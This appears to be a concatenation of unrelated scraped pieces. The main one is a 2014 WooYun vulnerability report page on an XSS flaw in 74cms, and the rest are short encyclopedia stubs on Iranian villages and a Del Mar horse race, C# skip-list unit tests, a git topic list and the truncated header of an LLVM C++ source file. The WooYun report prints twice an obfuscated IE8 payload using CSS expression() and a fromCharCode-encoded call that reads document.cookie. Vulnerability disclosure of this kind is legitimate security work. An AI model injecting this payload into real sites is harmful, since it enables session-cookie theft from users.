\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">9</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(79537)"></a></span>
</span></h2>
<h3> <a href="wooyun-2014-079537">WooYun-2014-79537</a>
<input id="fbid" type="hidden" value="79537">
</h3>
<h3 class='wybug_title'> CMSXSS <img src="path_to_url" alt="" class="credit">
</h3>
<h3 class='wybug_corp'> <a href="path_to_url">
74cms.com </a>
</h3>
<h3 class='wybug_author'> <a href="path_to_url"></a></h3>
<h3 class='wybug_date'> 2014-10-16 15:58</h3>
<h3 class='wybug_open_date'> 2015-01-14 16:00</h3>
<h3 class='wybug_type'> XSS</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 15</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
<span class="tag"><a href="path_to_url">xss</a></span>
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">1</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="79537";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2014-10-16 <br/>
2014-10-20 <br/>
2014-10-23 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/>
2014-12-14 <br/>
2014-12-24 <br/>
2015-01-03 <br/>
2015-01-14 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description">CMSXSS</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail">1. >><br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>" style="a:expre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)))" a="</code></pre></fieldset><p class='detail'><br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/15215314a76650859b1adb1618b8e18c2a32c172.png" target="_blank"><img src="../upload/201410/15215314a76650859b1adb1618b8e18c2a32c172.png" alt="4.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
<br />
<br />
<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/152154337b06687acd02856556d5d959dbce6510.png" target="_blank"><img src="../upload/201410/152154337b06687acd02856556d5d959dbce6510.png" alt="2.PNG" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
<br />
<br />
2. <br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>" style="a:expre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)))" a="a</code></pre></fieldset><p class='detail'><br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/15215638d24f6938a3b33dc551aa738d3b562e78.png" target="_blank"><img src="../upload/201410/15215638d24f6938a3b33dc551aa738d3b562e78.png" alt="3.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
<br />
<br />
<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/152156253da871e3aecae76c9ada9118499b62aa.png" target="_blank"><img src="../upload/201410/152156253da871e3aecae76c9ada9118499b62aa.png" alt="1.PNG" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail">IE8<br />
<br />
<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/152154337b06687acd02856556d5d959dbce6510.png" target="_blank"><img src="../upload/201410/152154337b06687acd02856556d5d959dbce6510.png" alt="2.PNG" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201410/152156253da871e3aecae76c9ada9118499b62aa.png" target="_blank"><img src="../upload/201410/152156253da871e3aecae76c9ada9118499b62aa.png" alt="1.PNG" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail">xssstyle </p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title=""></a>@<a style="font-weight:normal" href="path_to_url" title="CMSXSS"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">Rank15 </p>
<p class="detail">2014-10-20 12:01</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="79537";
var bugRating="-3";
var myRating="";
var ratingCount="0";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2014-10-27 10:38</span> |
<a target='_blank' href="path_to_url">px1624</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1108 :189 | px1624)
<div class="likebox">
<span class="likepre" title="" rel="116396"></span>
<span class="liketext liketext_min"><span id="likenum_116396">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" px1624" href="javascript:void(0)" class="replyBtn" onclick="Reply('px1624')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-01-14 19:00</span> |
<a target='_blank' href="path_to_url">geekfree</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:82 :49 | hello world)
<div class="likebox">
<span class="likepre" title="" rel="128278"></span>
<span class="liketext liketext_min"><span id="likenum_128278">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>ie </p>
</div>
<div class="replylist-act">
<span class="floor">2#</span>
<a title=" geekfree" href="javascript:void(0)" class="replyBtn" onclick="Reply('geekfree')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
case 6:
alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
});
}
$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
<div>
</div>
<div id="footer">
<span class="copyright fleft">
<a href="path_to_url">ICP15041338-1</a>
<!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
</span>
<span class="other fright">
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
</span>
</div>
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript" id="bdshare_js" data="type=button" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
``` |
Sarab-e Kalan (, also Romanized as Sarāb-e Kalān) is a village in Zangvan Rural District, Karezan District, Sirvan County, Ilam Province, Iran. At the 2006 census, its population was 884, in 184 families. The village is populated by Kurds.
References
Populated places in Sirvan County
Kurdish settlements in Ilam Province |
The Windy Sands Handicap is an American Thoroughbred horse race held annually at Del Mar Racetrack in Del Mar, California. An ungraded stakes, it is open to three-year-olds and up willing to race the 1 mile (8 furlongs) on the dirt. It currently offers a purse of $85,000 added.
The race is named after Windy Sands, born in 1957, by Your Host (sire of Kelso, out of Samoa Winds) who holds the Del Mar track record for 1 1/16 miles on dirt of 1:40.00 set on August 4, 1962, in winning the San Diego Handicap.
Past winners
Winners of the Windy Sands since 2005:
2010 - Tropic Storm
2009 - Star Nicholas (Michael C. Baze)
2008 - Albertus Maximus (this was Perfect Drift's last race; he came in third at the age of 9)
2007 - Wanna Runner (Tyler Baze) (Grade I winner, Heatseeker, placed.)
2006 - Preachinatthebar
2005 - Total Impact
External links
Del Mar Thoroughbred Club
Del Mar Racetrack
Horse races in California
Ungraded stakes races in the United States |
Sarkariz (, also Romanized as Sarkārīz; also known as Sarkahrīz) is a village in Sursur Rural District, Muchesh District, Kamyaran County, Kurdistan Province, Iran. At the 2006 census, its population was 126, in 31 families. The village is populated by Kurds.
References
Towns and villages in Kamyaran County
Kurdish settlements in Kurdistan Province |
```smalltalk
using System;
using DataStructures.LinkedList.SkipList;
using NUnit.Framework;
using FluentAssertions;
using System.Collections.Generic;
namespace DataStructures.Tests.LinkedList;
public static class SkipListTests
{
[Test]
public static void TestAdd()
{
var list = new SkipList<int>();
list.AddOrUpdate(1, 1);
list[2] = 2;
list[3] = 3;
list.Count.Should().Be(3);
list.GetValues().Should().ContainInOrder(1, 2, 3);
}
[Test]
public static void TestUpdate()
{
var list = new SkipList<string>();
// Add some elements.
list[1] = "v1";
list[2] = "v2";
list[5] = "v5";
// Update
list.AddOrUpdate(1, "v1-updated");
list[2] = "v2-updated";
list.Count.Should().Be(3);
list.GetValues().Should().ContainInOrder("v1-updated", "v2-updated", "v5");
}
[Test]
public static void TestContains()
{
var list = new SkipList<int>();
list.AddOrUpdate(1, 1);
list.AddOrUpdate(3, 3);
list.AddOrUpdate(5, 5);
list.Contains(1).Should().BeTrue();
list.Contains(3).Should().BeTrue();
list.Contains(5).Should().BeTrue();
list.Contains(0).Should().BeFalse();
list.Contains(2).Should().BeFalse();
list.Contains(9).Should().BeFalse();
}
[Test]
public static void TestGetByKey_Success()
{
var list = new SkipList<string>();
list[1] = "value1";
list[1].Should().Be("value1");
}
[Test]
public static void TestGetByKey_KeyNotFoundException()
{
var list = new SkipList<string>();
list[1] = "value1";
string value;
Action act = () => value = list[2];
act.Should().Throw<KeyNotFoundException>();
}
[Test]
public static void TestRemove_ItemRemoved()
{
var list = new SkipList<int>();
list.AddOrUpdate(1, 1);
list.AddOrUpdate(2, 2);
list.AddOrUpdate(3, 3);
list.Count.Should().Be(3);
list.Contains(2).Should().BeTrue();
var isRemoved = list.Remove(2);
list.Count.Should().Be(2);
list.Contains(2).Should().BeFalse();
isRemoved.Should().BeTrue();
}
[Test]
public static void TestRemove_ItemNotFound()
{
var list = new SkipList<int>();
list.AddOrUpdate(1, 1);
list.AddOrUpdate(2, 2);
list.AddOrUpdate(3, 3);
var isRemoved = list.Remove(222);
list.Count.Should().Be(3);
isRemoved.Should().BeFalse();
}
[Test]
public static void TestGetValues()
{
var list = new SkipList<string>();
list[4] = "four";
list[2] = "two";
list[3] = "three";
list[1] = "one";
var valuesSortedByKey = list.GetValues();
valuesSortedByKey.Should().ContainInOrder("one", "two", "three", "four");
}
}
``` |
```shell
What is stored in a commit?
Search for commits by author
`master` and `origin` aren't special
Remote repositories: viewing, editing and deleting
Dates in git
``` |
```xml
//===-- MachProcess.cpp -----------------------------------------*- C++ -*-===//
//
// See path_to_url for license information.
//
//===your_sha256_hash------===//
//
// Created by Greg Clayton on 6/15/07.
//
//===your_sha256_hash------===//
#include "DNB.h"
#include "MacOSX/CFUtils.h"
#include "SysSignal.h"
#include <dlfcn.h>
#include <inttypes.h>
#include <mach-o/loader.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <pthread.h>
#include <signal.h>
#include <spawn.h>
#include <sys/fcntl.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <uuid/uuid.h>
#include <algorithm>
#include <chrono>
#include <map>
#include <TargetConditionals.h>
#import <Foundation/Foundation.h>
#include "DNBDataRef.h"
#include "DNBLog.h"
#include "DNBThreadResumeActions.h"
#include "DNBTimer.h"
#include "MachProcess.h"
